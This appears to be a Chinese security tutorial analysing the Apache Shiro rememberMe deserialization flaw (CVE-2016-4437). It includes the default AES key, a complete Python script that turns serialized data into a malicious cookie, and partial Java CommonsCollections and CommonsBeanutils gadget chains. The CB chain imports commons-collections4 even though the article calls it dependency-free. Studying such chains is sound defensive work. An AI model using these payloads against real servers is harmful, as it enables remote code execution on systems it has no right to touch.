java安全——shiro反序列化链分析
字数 1394 2025-08-29 22:41:38
Shiro反序列化漏洞分析与利用
1. Shiro550漏洞分析
1.1 漏洞原理
Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个反序列化漏洞,主要存在于rememberMe功能中。攻击者可以通过构造恶意的序列化数据,利用Shiro的默认密钥进行加密,最终实现远程代码执行。
1.2 漏洞利用流程
- 特征识别:在流量中查找
rememberMe字段 - 加密流程分析:
- 用户信息 → 序列化 → AES加密 → Base64编码
- 反序列化触发点:
CookieRememberMe类的rememberSerializedIdentity方法AbstractRememberMeManager类的rememberIdentity方法convertPrincipalsToBytes方法进行加密
1.3 加密方式
Shiro使用AES加密,默认密钥为kPH+bIxk5D2deZiIxcaaaA==,加密模式为CBC,使用随机IV。
1.4 利用代码示例
import sys
import base64
import uuid
from Crypto.Cipher import AES
def encode_rememberme(file_path):
with open(file_path, 'rb') as f:
file_body = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
padded_data = pad(file_body)
encrypted_data = encryptor.encrypt(padded_data)
base64_ciphertext = base64.b64encode(iv + encrypted_data)
return base64_ciphertext
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python <script_name> <file_path>")
sys.exit(1)
file_path = sys.argv[1]
payload = encode_rememberme(file_path)
print("rememberMe={}".format(payload.decode()))
2. Shiro-CommonsCollections3链RCE
2.1 问题分析
由于Shiro 1.2.4自身没有CommonCollections类,且Tomcat的类加载器无法加载数组类([Lorg.apache.commons.collections.Transformer;),需要构造不使用Transformer数组的利用链。
2.2 解决方案
结合CC3和CC6链:
- 使用CC3的sink点:
TemplatesImpl - 使用CC2的
InvokeTransformer.newTransformer - 使用CC6的
HashMap触发
2.3 关键代码
// 1. 构造TemplatesImpl
final TemplatesImpl templates = new TemplatesImpl();
// 设置_name、_bytecodes等字段
// 2. 创建InvokerTransformer触发newTransformer方法
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// 3. 使用CC6的触发方式
final HashMap<Object, Object> map = new HashMap<>();
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazymap.remove(templates);
// 通过反射设置factory字段
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, invokerTransformer);
3. 无依赖ShiroCB链
3.1 原理
利用Shiro默认包含的CommonBeanutils(简称CB)依赖,通过PropertyUtils.getProperty调用TemplatesImpl的getOutputProperties方法。
3.2 利用链构造
- 使用
BeanComparator调用getProperty方法 - 结合
PriorityQueue触发比较操作 - 避免直接依赖CommonCollections
3.3 完整代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class ShiroCB {
public static void main(String[] args) throws Exception {
// 构造TemplatesImpl
final TemplatesImpl templates = new TemplatesImpl();
// 设置_name、_bytecodes等字段
// 使用BeanComparator
final BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
// 构造PriorityQueue
final TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
final PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
// 通过反射修改comparator
final Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
final Field comparatorField = priorityQueueClass.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);
// 序列化
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiroCB.ser"));
objectOutputStream.writeObject(obj);
}
}
4. 关键知识点总结
-
Shiro反序列化流程:
- 序列化 → AES加密 → Base64编码
- 默认密钥
kPH+bIxk5D2deZiIxcaaaA==
-
Tomcat类加载机制:
- 无法加载数组类(
[Lorg.apache.commons.collections.Transformer;) Class.forName会解析数组,ClassLoader不会
- 无法加载数组类(
-
利用链选择:
- 无CC依赖时使用URLDNS链进行探测
- 有CC依赖时结合CC3和CC6链
- 无CC依赖时使用CB链
-
防御措施:
- 升级Shiro版本
- 修改默认密钥
- 禁用rememberMe功能
-
调试技巧:
- 关注
AbstractRememberMeManager类的解密和反序列化过程 - 注意类加载失败的报错信息
- 使用反射修改关键字段绕过限制
- 关注
通过深入理解这些原理和技术细节,可以更好地分析和利用Shiro反序列化漏洞,同时也为防御此类漏洞提供了理论基础。